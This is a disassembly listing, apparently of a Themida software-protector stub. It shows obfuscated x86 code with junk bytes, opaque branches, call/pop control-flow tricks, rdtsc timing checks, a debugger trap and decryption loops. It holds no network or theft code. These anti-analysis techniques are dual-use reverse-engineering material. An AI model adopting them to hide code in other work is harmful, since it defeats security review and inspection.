; ---------------------------------------------------------------------------
db 0D3h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0B9h, 3Ah, 8Bh
; ---------------------------------------------------------------------------
loc_57FAF4: ; CODE XREF: Themida_:0057FAEAj
add esp, 20h
jnp loc_57FB08
jmp loc_57FB08
; ---------------------------------------------------------------------------
dw 3646h
dd 8CABC40Bh
; ---------------------------------------------------------------------------
loc_57FB08: ; CODE XREF: Themida_:0057FAF7j
; Themida_:0057FAFDj
mov dword ptr [esp-4], 0
jmp loc_57FB1D
; ---------------------------------------------------------------------------
db 58h, 0E1h, 0C9h
dd 0A440FA8Eh
; ---------------------------------------------------------------------------
sti
loc_57FB1D: ; CODE XREF: Themida_:0057FB10j
mov eax, 1
jb loc_57FB40
jmp loc_57FB40
; ---------------------------------------------------------------------------
db 0CEh, 9, 0DBh
dd 9C3D35C1h, 4878E8D5h, 40120F46h, 4730E94Ch
; ---------------------------------------------------------------------------
loc_57FB40: ; CODE XREF: Themida_:0057FB22j
; Themida_:0057FB28j
sub [ebp+61225E1h], edx
lea ecx, [ebp+6127308h]
jno loc_57FB65
jnz loc_57FB65
jmp loc_57FB65
; ---------------------------------------------------------------------------
sal dword ptr [eax+ecx-75h], 1
mul dword ptr [esi+58h]
pop edx
loc_57FB65: ; CODE XREF: Themida_:0057FB4Cj
; Themida_:0057FB52j ...
pusha
sub si, 1A0h
add ebx, [ebp+61228A5h]
popa
jmp ecx
; ---------------------------------------------------------------------------
jo loc_57FB80
sub [ebp+6123239h], eax
loc_57FB80: ; CODE XREF: Themida_:0057FA8Dj
; Themida_:0057FAAEj ...
mov byte ptr [ebp+61215C1h], 0
pusha
mov si, 887Bh
mov ecx, 32AE52A1h
popa
clc
popa
mov [ebp+6122119h], ecx
retn 8
; ---------------------------------------------------------------------------
cmc
xchg eax, esi
jnp loc_57FBBD
jmp loc_57FBBD
; ---------------------------------------------------------------------------
dw 8D98h
dd 0B796B140h, 711681A2h, 0BBB6990Bh, 743B1958h
db 7Ah
; ---------------------------------------------------------------------------
loc_57FBBD: ; CODE XREF: Themida_:0057FB9Fj
; Themida_:0057FBA5j
push eax
pusha
push eax
push edx
rdtsc
mov eax, edx
pop edx
pop eax
mov dl, 4Fh
popa
xchg eax, esi
mov [ebp+61219FDh], edi
jmp loc_57FBDE
; ---------------------------------------------------------------------------
dec eax
sti
retn
; ---------------------------------------------------------------------------
db 42h, 0BAh, 34h
db 20h, 0A2h
; ---------------------------------------------------------------------------
loc_57FBDE: ; CODE XREF: Themida_:0057FBD1j
mov [ebp+6124281h], esi
clc
mov [ebp+61242B2h], ecx
jmp loc_57FBFC
; ---------------------------------------------------------------------------
dd 369E634Ah, 0B4E8F1D3h, 0FFC32629h
; ---------------------------------------------------------------------------
loc_57FBFC: ; CODE XREF: Themida_:0057FBEBj
lea esi, [ebp+6124174h]
mov [ebp+61230C9h], eax
lea eax, dword_5B8EA1[ebp]
pusha
pusha
xor [ebp+6123051h], edx
mov edx, 716FFBA7h
popa
or ebx, [ebp+61217D1h]
popa
call eax
jmp loc_57FC38
; ---------------------------------------------------------------------------
or [esi], ah
cmp al, 0D9h
sbb ah, [edi+14h]
test al, 0A9h
and ebp, [esi-5Fh]
push ds
xchg eax, esi
loc_57FC38: ; CODE XREF: Themida_:0057FC25j
pop esi
pusha
or esi, 47D1FC60h
mov ebx, [ebp+6122959h]
popa
retn
; ---------------------------------------------------------------------------
mov [ebp+6121531h], edx
mov esi, [ebp+6124281h]
jmp loc_57FC62
; ---------------------------------------------------------------------------
db 28h, 27h, 6Dh
dd 5D56EC79h
db 6Ch, 28h
; ---------------------------------------------------------------------------
loc_57FC62: ; CODE XREF: Themida_:0057FC54j
mov ecx, [ebp+61242B2h]
mov [ebp+6121E29h], esi
sub eax, eax
pusha
jnp loc_57FC7D
jle $+6
loc_57FC7D: ; CODE XREF: Themida_:0057FC71j
popa
mov ebx, ecx
stc
jmp loc_57FD3E
; ---------------------------------------------------------------------------
mov [ebp+6121E99h], ecx
loc_57FC8C: ; CODE XREF: Themida_:0057FD40j
xor ah, [esi]
sub [ebp+6122AC5h], esi
cld
mov dl, 2
mov [ebp+6121E45h], ebx
jmp loc_57FD1C
; ---------------------------------------------------------------------------
jz loc_57FCB2
pusha
mov edx, 241E1802h
movzx edx, dx
popa
loc_57FCB2: ; CODE XREF: Themida_:0057FCA2j
; Themida_:0057FD1Ej
xor al, dl
jmp loc_57FCC8
; ---------------------------------------------------------------------------
db 78h, 0CAh, 3Ch
dd 0F0C6E29Dh, 95796477h, 7C9AFF3Ah
; ---------------------------------------------------------------------------
loc_57FCC8: ; CODE XREF: Themida_:0057FCB4j
add eax, 8A751D7Ah
sub [ebp+6121D2Dh], eax
mov cl, ah
pusha
mov ebx, 31F7160Eh
mov edi, [ebp+61225FDh]
popa
ror eax, cl
pusha
cld
jle loc_57FD02
jmp loc_57FD02
; ---------------------------------------------------------------------------
db 0D8h, 0A3h, 0BDh
dd 0A57B70FCh, 0AD77CFABh, 0F4D40022h
; ---------------------------------------------------------------------------
sbb al, 0B3h
loc_57FD02: ; CODE XREF: Themida_:0057FCE6j
; Themida_:0057FCECj
popa
xor [ebp+61226FDh], ebx
xor eax, 98D10842h
mov [ebp+61227E5h], edi
dec dl
sub [ebp+6121B0Dh], eax
loc_57FD1C: ; CODE XREF: Themida_:0057FC9Dj
or dl, dl
jnz loc_57FCB2
jns loc_57FD30
mov [ebp+6122F35h], esi
loc_57FD30: ; CODE XREF: Themida_:0057FD24j
dec ebx
mov [ebp+6122551h], eax
inc esi
mov [ebp+612249Dh], edx
loc_57FD3E: ; CODE XREF: Themida_:0057FC81j
or ebx, ebx
jnz loc_57FC8C
jbe locret_57FD4D
stc
locret_57FD4D: ; CODE XREF: Themida_:0057FD46j
iret
; ---------------------------------------------------------------------------
jmp near ptr byte_57FD5B
; ---------------------------------------------------------------------------
db 0F4h
dd 90DF648Dh
db 0D0h, 42h, 0F9h
byte_57FD5B db 0 ; CODE XREF: Themida_:0057FD4Ej
dd 6DBD0900h, 60061224h, 810F50h, 5A000000h, 0D18D0350h
dd 5E061228h, 60000061h, 8E9h, 393B0C00h, 76C12A19h, 0D8E981D4h
dd 6173410Fh, 95290000h, 61233B1h, 8C0F0000h, 0Bh, 6E9h
dd 0BCBA7A00h
db 5Ch, 3, 0A7h
; ---------------------------------------------------------------------------
loc_57FDA7: ; CODE XREF: Themida_:loc_57F604j
lea eax, [ebp+6123B48h]
mov [ebp+6120B1Dh], edi
mov [ebp+6120C69h], eax
jmp loc_57FDCD
; ---------------------------------------------------------------------------
dw 678Fh
dd 0B4B564B3h, 75ACBFA4h, 42BFDA23h
; ---------------------------------------------------------------------------
pop esi
loc_57FDCD: ; CODE XREF: Themida_:0057FDB9j
lea eax, [ebp+61240C4h]
stc
mov [ebp+6121665h], eax
jmp short loc_57FDF0
; ---------------------------------------------------------------------------
dd 4 dup(0)
dd 0E2h
; ---------------------------------------------------------------------------
loc_57FDF0: ; CODE XREF: Themida_:0057FDDAj
lea eax, [ebp+61243D7h]
mov [ebp+6122FE9h], eax
cmp dword ptr [ebp+612430Eh], 0
jz loc_57FF3E
mov byte ptr [ebp+61215C1h], 56h
call near ptr loc_57FE18+1
cmp [ebp+1Fh], ebp
loc_57FE18: ; CODE XREF: Themida_:0057FE10p
aam 50h
mov eax, [esp+4]
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+61217F1h]
lea eax, [ebp+6123B48h]
call eax
mov [ebp+6124302h], eax
mov byte ptr [ebp+61215C1h], 56h
call near ptr loc_57FE46+3
push edx
loc_57FE46: ; CODE XREF: Themida_:0057FE40p
mov eax, 8B509CA8h
inc esp
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+61217F1h]
lea eax, [ebp+6123B48h]
call eax
mov [ebp+6124306h], eax
push 4
push 0EE537534h
add dword ptr [esp], 11AC9ACCh
mov eax, [ebp+6124312h]
add eax, 1F4h
shl eax, 2
push eax
mov [esp], eax
push 0
call dword ptr [ebp+6124306h]
mov [ebp+612430Ah], eax
mov ebx, eax
mov eax, 0FFFFFFFFh
call dword ptr [ebp+6122FE9h]
mov eax, ebx
call dword ptr [ebp+6122FE9h]
jmp loc_57FF3E
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+612430Eh], 0
jnz loc_57FEBF
retn
; ---------------------------------------------------------------------------
loc_57FEBF: ; CODE XREF: Themida_:0057FEB8j
push edi
mov edi, [ebp+612430Ah]
stosd
add dword ptr [ebp+612430Ah], 4
pop edi
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+612430Eh], 0
jnz loc_57FEDE
retn
; ---------------------------------------------------------------------------
loc_57FEDE: ; CODE XREF: Themida_:0057FED7j
pusha
sub dword ptr [ebp+612430Ah], 4
loc_57FEE6: ; CODE XREF: Themida_:loc_57FF39j
mov ebx, [ebp+612430Ah]
cmp dword ptr [ebx-4], 0FFFFFFFFh
jnz loc_57FF1C
call near ptr loc_57FEFB+4
loc_57FEFB: ; CODE XREF: Themida_:0057FEF6p
add [eax-74B00000h], al
inc esp
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push 0
push dword ptr [ebx]
call dword ptr [ebp+6124302h]
popa
retn
; ---------------------------------------------------------------------------
jmp loc_57FF39
; ---------------------------------------------------------------------------
loc_57FF1C: ; CODE XREF: Themida_:0057FEF0j
push 0A44064DEh
add dword ptr [esp], 5BC01B22h
push 0
push dword ptr [ebx]
call dword ptr [ebp+6124302h]
sub dword ptr [ebp+612430Ah], 4
loc_57FF39: ; CODE XREF: Themida_:0057FF17j
jmp loc_57FEE6
; ---------------------------------------------------------------------------
loc_57FF3E: ; CODE XREF: Themida_:0057FE03j
; Themida_:0057FEACj
dec eax
jmp loc_580917
; ---------------------------------------------------------------------------
dd 18D9B2D4h, 501ABDDBh, 0B35428FCh, 8921C521h, 54108FB6h
dd 0B6E8683Dh, 9EF8D40Fh, 0A7F35503h, 15D99489h, 5816FFD0h
dd 0E0063FEEh, 0CC26D730h, 377FC4B9h, 0A2E2624Dh, 0CCF4D512h
dd 0A1F15503h, 15D99786h, 4509FFCAh, 0FE0620F4h, 0DB3DC92Ch
dd 5414CAADh, 0A6F52E79h, 9EB9C412h, 0A1E41B02h, 0CD98192h
dd 4508B0CCh, 820FAh, 13h dup(0)
dword_57FFFC dd 50h dup(0) ; ---------------------------------------------------------------------------
aam 0B2h
fst dword ptr [ecx]
sal dword ptr [ecx+3FF44306h], 1
push es
jecxz short loc_580184
retf
; ---------------------------------------------------------------------------
dw 0DB35h
dd 525587B5h, 0A1A77D7Ch, 0CCB6D504h, 0A0E85410h, 98BD383h
dd 5906B1D0h, 0FD4F6DFCh, 0DC3DDD69h, 4306CAA6h, 0AEE27A6Eh
dd 0BCD5BA4Fh, 0BDFC5E1Ah, 9D9DF82h, 5600B3D0h
; ---------------------------------------------------------------------------
loc_580184: ; CODE XREF: Themida_:00580147j
jmp fword ptr [ebp+4Fh]
; ---------------------------------------------------------------------------
db 0E7h
dd 0C620C269h, 5F18CAB9h, 0BAF56170h, 88B6D141h, 0BDF84956h
dd 88B9293h, 4200A69Eh, 0E1566DE9h, 0C820C326h, 0C4B9h
dd 48h dup(0)
; ---------------------------------------------------------------------------
aam 0B2h
fstp dword ptr [edi]
int 3 ; Trap to Debugger
mov esi, 3FFE5C0Ch
add eax, esp
imul edx, eax, 0CAB8C63Dh
sbb eax, 0E52E6E5Bh
cmpsb
add al, 0DEh
clc
mov bl, [ecx]
dec esi
rep stosb
mov dword ptr [ecx-492FED74h], 24BB5001h
dec eax
mov bl, 30h
retf
; ---------------------------------------------------------------------------
dw 0DB27h
dd 490C99F4h, 0EDEA6B69h, 8088BD6Bh, 0ABEE5A13h, 128CD3CBh
dd 530EB0D2h, 0B35224BBh, 0C43DD62Fh, 571087F4h, 0E3FE7C72h
dd 0CCBCDE00h, 0BAEE5E04h, 5C8D8186h, 451AB0C7h, 0FC543DBBh
dd 0C433D62Eh, 0FAh, 61h dup(0)
dd 1090B5D4h, 580CFFDBh, 0E3533FE9h, 8836C13Dh, 5221CAFAh
dd 0B3A77D74h, 9EBFDF13h, 0A6BD5617h, 1ED98086h, 1701BADBh
dd 0FA482CF6h, 0C83ED139h, 1A118FA0h, 0E3E3607Ch, 8EA1D10Ch
dd 0A7903113h, 5C8AD493h, 5209B1D7h, 0F74339F8h, 892BC669h
dd 5323CAB5h, 0E3F47B6Fh, 8FF8C20Eh, 0A5FE5A04h, 5CD79782h
dd 4406B7EAh, 0FF4F2BBBh, 0C625842Ch, 1A01CDBAh, 0A8F5616Ah
dd 95B6D141h, 0ABEF541Bh, 0C9h, 0E0h dup(0)
aWlnumdllsprot db 'WLNumDLLsProt',0
a0 db '0',0
dd 8 dup(0)
dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_580917: ; CODE XREF: Themida_:0057FF3Fj
jmp loc_58373B
; ---------------------------------------------------------------------------
jnz loc_580925
mov dx, si
loc_580925: ; CODE XREF: Themida_:0058091Cj
cld
push 0
push edx
call sub_580931
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580931 proc near ; CODE XREF: Themida_:00580929p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_580931 endp
; ---------------------------------------------------------------------------
db 80h, 8Fh, 5Dh
db 8Bh, 0C0h
; ---------------------------------------------------------------------------
mov ebx, [ebp+61213E1h]
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_58095E
cmp dword ptr [ebp+6122149h], 0
jz short loc_580971
loc_58095E: ; CODE XREF: Themida_:00580953j
push eax
push ebx
mov eax, eax
mov eax, 1
lea ebx, [ebp+614ABABh]
call ebx ; _iob
pop ebx
pop eax
loc_580971: ; CODE XREF: Themida_:0058095Cj
cmp dword ptr [ebp+6122149h], 0
jz short loc_58098B
push eax
push ebx
mov eax, 1
lea ebx, [ebp+614AA5Ch]
call ebx ; _iob
pop ebx
pop eax
loc_58098B: ; CODE XREF: Themida_:00580978j
mov ebx, eax
mov dx, ax
mov eax, eax
jmp loc_5809A7
; ---------------------------------------------------------------------------
db 9Eh
dd 440664EEh, 17DA98Ah, 3E4D7E0Dh
db 15h, 8, 0C2h
; ---------------------------------------------------------------------------
loc_5809A7: ; CODE XREF: Themida_:00580992j
cmp dword ptr [ebp+612294Dh], 0
jz loc_580BC6
push 0
push ebx
call sub_5809BF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5809BF proc near ; CODE XREF: Themida_:005809B7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5809BF endp
; ---------------------------------------------------------------------------
db 99h
dd 32138F96h, 0F8634D0h, 168Bh, 11E900h, 2F3C0000h, 36FC1B7Ch
dd 0A5338CB1h, 2DEE9953h, 839AD121h, 120889BDh, 840F0006h
dd 1C6h, 6E9h, 50F72500h, 607D3B90h, 858BC4B6h, 6120889h
dd 3E805h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 50A6979Eh, 0D78B6056h, 5A61CA8Bh
dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 0FD4C355h, 688h, 899D8B00h, 8D061224h
dd 124E2485h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 9A9FFDBDh, 65D2819Ch, 903F1001h
dd 0F50F48Ah, 84h, 6A9000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 3E6A6FC3h, 9E806394h
dd 7D8589F5h, 8D061227h, 124E0285h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0E38BB472h
dd 0BC55CB5Fh, 14E9C1h, 6C1C0000h, 2C393439h, 83BDDDCh
dd 1DF81138h, 485BA135h, 6090FE73h, 0EE9h, 4F8F8200h, 4410FCDDh
dd 0BD6273ECh, 611885E5h, 0D38B6650h, 0D38B6690h, 132195FFh
dd 9D8B0612h, 6122395h, 660CC483h, 0F064EB81h, 8DDEBF0Fh
dd 124E0285h, 91B58906h, 66061232h, 69ABDA81h, 52505090h
dd 5E8h, 131D3600h, 0F5B30D8h, 5A585A31h, 0E9525050h, 0Dh
dd 9A6C27F1h, 0B05A33EBh, 0F37EDB90h, 52310FAAh, 5A5A6160h
dd 6A9058h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 50F6C7C3h, 6EE056D9h, 0F5D08B60h, 0D78B026Ah
dd 4CC38166h, 1495FF7Eh, 57006AEDh, 615B1DB3h, 19719D8Bh
; ---------------------------------------------------------------------------
adc al, [esi]
loc_580BC6: ; CODE XREF: Themida_:005809AEj
mov dword ptr [ebp+6124E35h], 1
mov edx, 2FB26D23h
xchg eax, esi
mov ebx, 1AD509A3h
push eax
jmp loc_580BEE
; ---------------------------------------------------------------------------
db 24h, 0B0h, 0FAh
dd 0E4F05D12h, 0C59713C2h
db 0DBh, 9Dh
; ---------------------------------------------------------------------------
loc_580BEE: ; CODE XREF: Themida_:00580BDCj
xchg eax, esi
push 0
push edx
call sub_580BFA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580BFA proc near ; CODE XREF: Themida_:00580BF2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_580BFA endp
; ---------------------------------------------------------------------------
dw 9EBDh
; ---------------------------------------------------------------------------
push 0BB63BDA8h
not dword ptr [esi-226A7453h]
add [edx], dl
push es
mov ebx, [ebp+61218BDh]
mov [ebp+6124DE6h], esi
push 0
push ebp
call sub_580C31
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580C31 proc near ; CODE XREF: Themida_:00580C29p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_580C31 endp
; ---------------------------------------------------------------------------
db 3Eh, 0C7h, 55h
dd 607291D0h, 2D21B52Bh, 8A0F0612h, 4, 0A3F2B866h, 0E9BD8361h
dd 106120Eh, 28850Fh, 9E80000h, 12000000h, 81B91087h, 431F5343h
dd 5ADF8B66h, 44D9D29h, 0F8830612h, 7850F05h, 0B8000000h
dd 0
; ---------------------------------------------------------------------------
mov dl, 18h
cmp dword ptr [ebp+6123409h], 0
jz loc_580CF6
jmp loc_580CAE
; ---------------------------------------------------------------------------
dd 97ECA8E1h, 0F602674h, 97A6670Ch
db 7Eh, 97h
; ---------------------------------------------------------------------------
loc_580CAE: ; CODE XREF: Themida_:00580C9Bj
pusha
mov [ebp+6121505h], edi
call dword ptr [ebp+6123409h]
popa
push 0
push edi
call sub_580CC7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580CC7 proc near ; CODE XREF: Themida_:00580CBFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_580CC7 endp
; ---------------------------------------------------------------------------
db 42h
dd 12E9B6h, 55150000h, 2C4B2726h, 0A75B3616h, 41AF2057h
dd 53A938F0h, 0B1D9D89h
; ---------------------------------------------------------------------------
adc al, [esi]
loc_580CF6: ; CODE XREF: Themida_:00580C95j
cmp dword ptr [ebp+612309Dh], 0
jz loc_580D58
push 0
push ebx
call sub_580D0E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580D0E proc near ; CODE XREF: Themida_:00580D06p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_580D0E endp
; ---------------------------------------------------------------------------
dw 0F172h
dd 2F04F219h, 2FCDBE74h, 0B8DE8Bh, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 2866C352h, 101CA3A9h, 79EBD824h, 5DD1BB66h
; ---------------------------------------------------------------------------
loc_580D58: ; CODE XREF: Themida_:00580CFDj
pusha
mov ebx, ecx
add [ebp+612329Dh], ebx
mov eax, [ebp+61218A9h]
mov [ebp+61219CDh], edi
add eax, 2
jmp loc_580D7D
; ---------------------------------------------------------------------------
db 0B3h, 40h, 0E7h
dd 3633870Bh
; ---------------------------------------------------------------------------
sahf
loc_580D7D: ; CODE XREF: Themida_:00580D70j
mov [ebp+6124DDEh], eax
mov [ebp+6120375h], edi
mov byte ptr [eax], 0FFh
or [ebp+6121305h], edx
mov byte ptr [ebp+61215C1h], 53h
mov [ebp+61229E1h], eax
push 0E593A58Ah
jmp loc_580DB2
; ---------------------------------------------------------------------------
db 0A9h, 0E7h, 0EAh
; ---------------------------------------------------------------------------
xor eax, 0D03E208h
pop eax
loc_580DB2: ; CODE XREF: Themida_:00580DA4j
xor dword ptr [esp], 1922ED52h
push 0
push edx
call sub_580DC4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580DC4 proc near ; CODE XREF: Themida_:00580DBCp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_580DC4 endp
; ---------------------------------------------------------------------------
dd 0BA66ED64h, 0B5FFF6ACh, 6123101h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0D3C35646h, 80119046h, 0E8CE807Ch
dd 827A858Dh, 0BD010615h, 6120C55h, 9D8BD0FFh, 6122C91h
dd 29D18589h, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 613F2DC3h, 0E77E67D4h, 2561BD83h
dd 0F010612h, 16085h, 0CE900h, 7C1E0000h, 5C865EF8h, 0DBA75CDh
dd 6A614D29h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0EEC353h, 89F23E20h, 1222D18Dh
dd 0C185C606h, 45061215h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 66C35242h, 68030F3Dh, 0D32DC097h, 0E95AF850h
dd 13h, 39C177C3h, 732B6777h, 6F67BB73h, 0D3301596h, 6884030Bh
dd 74098856h, 52505250h, 310FDE8Ah, 0AE9h, 8EA53400h, 3F57DC5Eh
dd 5AF466EBh, 0E8310F58h, 12h, 0CEB1289Eh, 0E64FB2CAh
dd 0C10376D6h, 0AFC6F8Dh, 5A56C9C2h, 81585A5Bh, 0B06C2404h
dd 0B5FF6656h, 6123101h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 9CC35242h, 97F28A5Fh, 66A605EAh, 8D210BBAh
dd 15827A85h, 81958B06h, 0FF061213h, 0D18589D0h, 6A061220h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 62020000h, 89F4C5F6h, 122371B5h, 6AD0FF06h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0A942C357h, 0C7EAC9E5h, 0DF8B6641h, 0E89BB960h
dd 850F1550h, 0
; ---------------------------------------------------------------------------
popa
cmp dword ptr [ebp+6122709h], 1
jnz loc_5810A3
jno loc_580FC6
mov ebx, [ebp+61214E1h]
loc_580FC6: ; CODE XREF: Themida_:00580FBAj
movzx ebx, di
mov eax, [ebp+61218A9h]
push 0
push ecx
call sub_580FDA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580FDA proc near ; CODE XREF: Themida_:00580FD2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_580FDA endp
; ---------------------------------------------------------------------------
dw 97DBh
; ---------------------------------------------------------------------------
pusha
jl loc_580FF5
pusha
popa
loc_580FF5: ; CODE XREF: Themida_:00580FEDj
popa
sub [ebp+6123461h], edx
jmp loc_581007
; ---------------------------------------------------------------------------
push edi
dec edx
retn
; ---------------------------------------------------------------------------
add edi, [esp+eax*4]
loc_581007: ; CODE XREF: Themida_:00580FFCj
jmp loc_58108E
; ---------------------------------------------------------------------------
ja loc_581015
mov dx, si
loc_581015: ; CODE XREF: Themida_:0058100Cj
; Themida_:00581091j
nop
push edx
mov bl, 79h
pop edx
push eax
push eax
push edi
js $+6
pop edx
pop edx
nop
push 0
push eax
call sub_581031
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581031 proc near ; CODE XREF: Themida_:00581029p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_581031 endp
; ---------------------------------------------------------------------------
dd offset loc_58DC76+3
db 6Ah, 89h, 0A9h
; ---------------------------------------------------------------------------
xor bh, [esi]
lodsb
mov [ebp+61229A9h], eax
push 14h
push 0
push ebp
call sub_58105E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58105E proc near ; CODE XREF: Themida_:00581056p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_58105E endp
; ---------------------------------------------------------------------------
dec esi
movsb
stc
xchg dh, ch
xchg eax, esi
xchg eax, ebx
mov ebx, [ebp+6122169h]
call dword ptr [ebp+61229D1h]
mov ebx, 3BC1C25Ah
pop eax
push ecx
sub dx, 6B8h
pop edx
loc_58108E: ; CODE XREF: Themida_:loc_581007j
cmp byte ptr [eax], 0
jnz loc_581015
sub edx, 3A6D0341h
mov byte ptr [eax], 1
or dl, 0DEh
loc_5810A3: ; CODE XREF: Themida_:00580FB4j
popa
mov [ebp+61212C9h], ebx
cmp dword ptr [ebp+6120881h], 0
jz loc_581109
sub [ebp+6123025h], edx
or bx, 0F17Ah
push 0FFFFFFFFh
add bl, 0F5h
call dword ptr [ebp+61229D1h]
push 0
push ebx
call sub_5810D8
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5810D8 proc near ; CODE XREF: Themida_:005810D0p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5810D8 endp
; ---------------------------------------------------------------------------
dd 1D51BA70h, 9D33159Eh, 6121E51h, 3325B501h
db 12h, 6, 0E9h
; ---------------------------------------------------------------------------
locret_5810FB: ; CODE XREF: Themida_:00581133j
retn
; ---------------------------------------------------------------------------
dd 0BAFFFFFFh, 6D578C98h, 363977BBh
db 65h
; ---------------------------------------------------------------------------
loc_581109: ; CODE XREF: Themida_:005810B1j
mov dword ptr [ebp+6120881h], 1
mov edx, ebx
mov [ebp+6124DEAh], eax
movzx ebx, dx
push eax
call sub_581138
lodsd
push 74h
mov esp, [ebx]
adc ds:36E31460h, ah
into
inc ecx
loope near ptr loc_581141+2
jnb short locret_5810FB
xor [di], dl
; =============== S U B R O U T I N E =======================================
sub_581138 proc near ; CODE XREF: Themida_:0058111Fp
arg_0 = dword ptr 4
push ecx
pop edx
pop edx
mov [esp-4+arg_0], eax
push 0
push esi
loc_581141: ; CODE XREF: Themida_:00581131j
call sub_581149
and [esi-3Dh], bl
sub_581138 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_581149 proc near ; CODE XREF: sub_581138:loc_581141p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_581149 endp
; ---------------------------------------------------------------------------
db 85h, 30h, 63h
dd 666060BCh, 0D8C9C181h, 2021BD8Bh, 6A610612h, 0A1BD0905h
dd 8D061211h, 124E0285h, 21850106h, 90061204h, 6650ABB6h
dd 90B81CBBh, 68C0F60h, 0F000000h, 8Ah, 459D2900h, 61061226h
dd 1CB1B589h, 858D0612h, 6124DF2h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 16C35040h, 891E8A63h, 0C46ADDC5h
dd 6650FC28h, 899CB2BBh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 245990C3h, 4C4B8793h
dd 0FFD38B66h, 12144D95h, 0DFB70F06h, 6860Fh, 952B0000h
dd 6121CC5h, 7BCE8D8Dh, 0BB660612h, 0C00BE919h, 858D1174h
dd 6124E02h, 89D1FF50h, 124E2085h, 0C70AEB06h, 124E2085h
dd 0FFFFFF06h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 5FBA6FDBh, 5E92D58h, 0B3000000h
dd 498E568Fh, 0B6C2BB66h, 8BD8BF0Fh, 1230C59Dh, 820F6106h
dd 6, 1FC5BD01h, 85C60612h, 61215C1h, 52006A4Dh, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0F5D78BB5h, 51B531h, 4E80612h, 0A8000000h, 60A43576h
dd 9831BE66h, 1CD9B866h, 448B5061h, 86BB0424h, 8B3BB998h
dd 24448900h, 58A8B204h, 5E8h, 0D2E35000h, 0BD89DA82h
dd 612130Dh, 81B5FF5Ah, 0F061203h, 858DD0B7h, 615827Ah
dd 1F8D8531h, 0B5890612h, 6120885h, 6AD0FFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0DBD695C3h
dd 8B7ADA74h, 1215259Dh, 9858906h, 6A06122Dh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
